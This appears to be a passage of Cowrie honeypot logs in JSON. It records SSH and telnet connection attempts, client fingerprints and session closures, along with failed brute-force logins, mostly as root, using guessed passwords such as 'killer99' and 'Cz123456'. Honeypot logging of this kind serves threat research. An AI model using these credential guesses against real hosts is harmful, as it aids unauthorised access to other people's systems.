CS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:43.760575Z","src_ip":"20.160.86.7","session":"77e56f6c9dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer99","message":"login attempt [root/killer99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:44.111041Z","src_ip":"20.160.86.7","session":"77e56f6c9dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:45.198164Z","src_ip":"20.160.86.7","session":"77e56f6c9dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.94959020614624,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:47.891799Z","src_ip":"180.235.129.180","session":"ef6d0313c51d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31293058395386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:51.125939Z","src_ip":"69.4.83.194","session":"50a595315010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40402,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b59fc0d9f40","protocol":"telnet","message":"New connection: 69.4.83.194:40402 (159.203.135.109:23) [session: 8b59fc0d9f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:00.642059Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfea09da64e9","protocol":"telnet","message":"New connection: 69.4.83.194:43032 (159.203.135.109:23) [session: cfea09da64e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:07.617772Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":52528,"dst_ip":"10.17.0.5","dst_port":22,"session":"411f196ed731","protocol":"ssh","message":"New connection: 101.47.156.21:52528 (10.17.0.5:22) [session: 411f196ed731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:19.465719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:19.469891Z","src_ip":"101.47.156.21","session":"411f196ed731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:19.708628Z","src_ip":"101.47.156.21","session":"411f196ed731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc1230.","message":"login attempt [root/zxc1230.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:20.694585Z","src_ip":"101.47.156.21","session":"411f196ed731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:21.937242Z","src_ip":"101.47.156.21","session":"411f196ed731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52410,"dst_ip":"159.203.135.109","dst_port":23,"session":"8885b3b27398","protocol":"telnet","message":"New connection: 69.4.83.194:52410 (159.203.135.109:23) [session: 8885b3b27398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:29.932258Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49618,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc2c3c9fa04b","protocol":"ssh","message":"New connection: 46.19.67.181:49618 (159.203.135.109:22) [session: bc2c3c9fa04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:30.191192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:30.199762Z","src_ip":"46.19.67.181","session":"bc2c3c9fa04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:30.311965Z","src_ip":"46.19.67.181","session":"bc2c3c9fa04b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"burton","message":"login attempt [root/burton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:30.647612Z","src_ip":"46.19.67.181","session":"bc2c3c9fa04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:31.761717Z","src_ip":"46.19.67.181","session":"bc2c3c9fa04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.26708149909973,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:34.909025Z","src_ip":"69.4.83.194","session":"8b59fc0d9f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.512083292007446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:40.129735Z","src_ip":"69.4.83.194","session":"cfea09da64e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.97965335845947,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:40.598189Z","src_ip":"180.235.129.180","session":"808209b9b9c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19678,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5318c98e0a","protocol":"ssh","message":"New connection: 213.209.159.158:19678 (10.17.0.5:22) [session: fc5318c98e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:56.195935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:57.271985Z","src_ip":"213.209.159.158","session":"fc5318c98e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:38:57.275789Z","src_ip":"213.209.159.158","session":"fc5318c98e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35758,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae39a863c94","protocol":"telnet","message":"New connection: 69.4.83.194:35758 (159.203.135.109:23) [session: 8ae39a863c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:01.190882Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"warriors","message":"login attempt [root/warriors] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:02.259413Z","src_ip":"213.209.159.158","session":"fc5318c98e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36616,"dst_ip":"159.203.135.109","dst_port":23,"session":"5540fdf567a3","protocol":"telnet","message":"New connection: 69.4.83.194:36616 (159.203.135.109:23) [session: 5540fdf567a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:03.549494Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":44082,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41e9240c604","protocol":"ssh","message":"New connection: 182.191.77.164:44082 (10.17.0.5:22) [session: b41e9240c604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:03.933581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:03.941664Z","src_ip":"182.191.77.164","session":"b41e9240c604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:04.170254Z","src_ip":"182.191.77.164","session":"b41e9240c604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:04.755150Z","src_ip":"213.209.159.158","session":"fc5318c98e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19698,"dst_ip":"10.17.0.5","dst_port":22,"session":"61995bb7994c","protocol":"ssh","message":"New connection: 213.209.159.158:19698 (10.17.0.5:22) [session: 61995bb7994c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:04.845558Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cz123456","message":"login attempt [root/Cz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.113823Z","src_ip":"182.191.77.164","session":"b41e9240c604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":42490,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c8fec04a9e8","protocol":"ssh","message":"New connection: 20.160.86.7:42490 (10.17.0.5:22) [session: 6c8fec04a9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.429349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.438359Z","src_ip":"20.160.86.7","session":"6c8fec04a9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.523788Z","src_ip":"20.160.86.7","session":"6c8fec04a9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"d3pl0y3r","message":"login attempt [deployer/d3pl0y3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.894749Z","src_ip":"20.160.86.7","session":"6c8fec04a9e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.989909Z","src_ip":"213.209.159.158","session":"61995bb7994c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:05.994475Z","src_ip":"213.209.159.158","session":"61995bb7994c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.106932163238525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:06.039017Z","src_ip":"69.4.83.194","session":"8885b3b27398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:06.351041Z","src_ip":"182.191.77.164","session":"b41e9240c604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:06.983591Z","src_ip":"20.160.86.7","session":"6c8fec04a9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we123456","message":"login attempt [root/we123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:11.054524Z","src_ip":"213.209.159.158","session":"61995bb7994c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:13.401976Z","src_ip":"213.209.159.158","session":"61995bb7994c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32462,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5a89bcde768","protocol":"ssh","message":"New connection: 213.209.159.158:32462 (10.17.0.5:22) [session: d5a89bcde768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:13.480347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:14.565993Z","src_ip":"213.209.159.158","session":"d5a89bcde768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:14.570594Z","src_ip":"213.209.159.158","session":"d5a89bcde768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":51646,"dst_ip":"159.203.135.109","dst_port":22,"session":"90784c3c4364","protocol":"ssh","message":"New connection: 103.25.47.94:51646 (159.203.135.109:22) [session: 90784c3c4364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:15.879326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:15.884505Z","src_ip":"103.25.47.94","session":"90784c3c4364","protocol":"ssh"}
